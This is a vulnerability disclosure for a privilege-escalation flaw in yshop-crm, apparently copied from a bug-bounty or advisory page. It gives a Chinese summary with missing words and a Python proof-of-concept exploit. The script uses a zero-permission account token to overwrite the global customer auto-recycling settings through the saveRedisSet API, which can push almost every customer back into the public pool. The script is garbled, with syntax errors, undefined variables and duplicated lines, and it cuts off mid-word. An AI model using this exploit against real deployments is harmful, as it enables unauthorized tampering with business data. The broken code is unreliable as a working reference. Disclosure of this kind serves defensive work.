yshop-crm Global Config Write Privilege Escalation Vulnerability with POC

漏洞关键信息总结 漏洞概述 漏洞类型：全局配置写入权限过宽（Global Config Write） 根因： 接口（ ）仅依赖 鉴权，未校验调用者是否具备相应权限。 攻击面：攻击者只需持有零权限（zero-permission）账户的 token，即可通过该接口修改全局 Redis 配置键（如 ），从而改变客户回收策略。 影响范围 受影响系统： 模块（ 项目） 影响程度： - 零权限账户可读取并永久覆盖全局配置（如 、 ）。 - 修改 为 0 后，下一次定时任务会将所有账户的 置零，导致客户数据被回收。 - 影响所有使用 的业务逻辑。 修复方案 短期缓解：在 接口增加权限校验，确保只有具备相应权限的账户才能写入全局配置。 长期修复： - 对全局配置写入操作增加细粒度权限控制（RBAC）。 - 对关键配置键（如 、 ）增加写入审计日志。 - 在 中增加参数合法性校验，防止异常值（如 0）导致业务异常。 POC / 利用代码 `` CrmCustomerSaveRedisSet getRedisSet @RequireAuth @RequireAuth CrmCustomerService#initCustomer notRecordDay notSuccessDay CrmCustomerAutoRec`, which pushes stale customers back to the public pool by zeroing their owner. Impact: an account holding ZERO permissions can read and permanently overwrite the lead-allocation and auto-recycling policy of the entire deployment, affecting every salesperson. Setting the day thresholds to 0/1 makes the next scheduled run return practically the whole base to the public pool; setting them very high disables recycling altogether. This script backs up the current values and can restore them -- note that the "unset" state cannot be re-created through the API; only overwrite, so run it only on an authorized test deployment. Usage python C04_crm_customer_save_redis_set.py --base-url http://127.0.0.1:8081 \ --token $CRM_PREV_TOKEN --show python C04_crm_customer_save_redis_set.py --base-url http://127.0.0.1:8081 \ --token $CRM_PREV_TOKEN --commit --customer-num 12345 --not-record-day 777 --not-success-day 888 python C04_crm_customer_save_redis_set.py --base-url http://127.0.0.1:8081 \ --token $CRM_PREV_TOKEN --restore Exit codes: 0 = VULNERABLE, 1 = NOT_VULNERABLE, 2 = INCONCLUSIVE / usage error. import argparse import json import sys import time import urllib.error import urllib.request TIMEOUT = 20 GET = "/admin/api/crm/customer/getRedisSet" SET = "/admin/api/crm/customer/saveRedisSet" def call(base, method, path, token=None, tenant_id=1, body=None): url = base.rstrip("/") + path data = json.dumps(body).encode() if body is not None else None req = urllib.request.Request(url, data=data, method=method) req.add_header("Content-Type", "application/json") if token: req.add_header("Authorization", "Bearer " + token) if tenant_id: req.add_header("tenant-id", str(tenant_id)) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: raw, status = resp.read(), resp.status except urllib.error.HTTPError as e: raw, status = e.read().decode("utf-8", "replace"), e.code except ValueError: return status, json.loads(raw) return status, raw def is_denied(status, payload): if status in (401, 403): return True if isinstance(payload, dict): return payload.get("code") == 403 or "没有操作权限" in str(payload.get("msg", "")) return False def main(): ap = argparse.ArgumentParser(description="yshop-crm C04 - global CRM rule rewrite") ap.add_argument("--base-url", required=True) ap.add_argument("--token", required=True, help="LOW-PRIVILEGE account token") ap.add_argument("--tenant-id", default="1") ap.add_argument("--customer-num", type=int, default=12345, help="accepted for CLI uniformity with the rest of the suite; unused here") ap.add_argument("--not-record-day", type=int, default=777) ap.add_argument("--not-success-day", type=int, default=888 ap.add_argument("--backup", action="store_true") g = ap.add_mutually_exclusive_group(required=True) g.add_argument("--show", action="store_true") g.add_argument("--commit", action="store_true") g.add_argument("--restore", action="store_true") args = ap.parse_args() if args.restore: print("[1] Backup file %s not found %s.backup" % args.backup) return 2 if not os.path.exists(args.backup): print("[1] Backup file %s not found %s.backup" % args.backup) return 2 bk = json.load(open(args.backup)) st, b = call(base, "GET", GET, token, tenant_id) print("[1] restore HTTP %s %s" % (st0, json.dumps(b0, ensure_ascii=False)[:200]) if is_denied(st0, b0): print("[v] NOT_VULNERABLE: the read is refused on authorization grounds.") return 1 if args.show: print("[1] show only; nothing changed.") return 0 json.dump(current, open(args.backup, "w"), indent=2) print("[1] backup written to %s %s" % (args.backup, json.dumps(current))) payload = {"customerNum": args.customer_num, "notRecordDay": args.not_record_day, "notSuccessDay": args.not_success_day} print("[2] ATTEMPT POST %s SET" % SET) st1, b1 = call(base, "POST", SET, token, tenant_id, payload) print("[2] ATTEMPT POST %s SET" % SET) print("[2] HTTP %s -> %s" % (st1, json.dumps(b1, ensure_ascii=False)[:200]) if is_denied(st1, b1): print("[v] NOT_VULNERABLE: the write is refused on authorization grounds.") return 1 st2, b2 = call(base, "GET", GET, token, tenant_id) after = (b2 or {}).get("data") if isinstance(b2, dict) else None print("[3] VERIFY GET %s -> %s" % (st2, json.dumps(after, ensure_ascii=False)) if after == payload: print("[v] VULNERABLE: the GLOBAL rule set was rewritten by a zero-permission account.") print("[v] restore <- restore (use %s) %s" % args.backup) return 0 print("[v] INCONCLUSIVE: write accepted bu

Goal Reached Thanks to every supporter — we hit 100%!

yshop-crm Global Config Write Privilege Escalation Vulnerability with POC

More from this source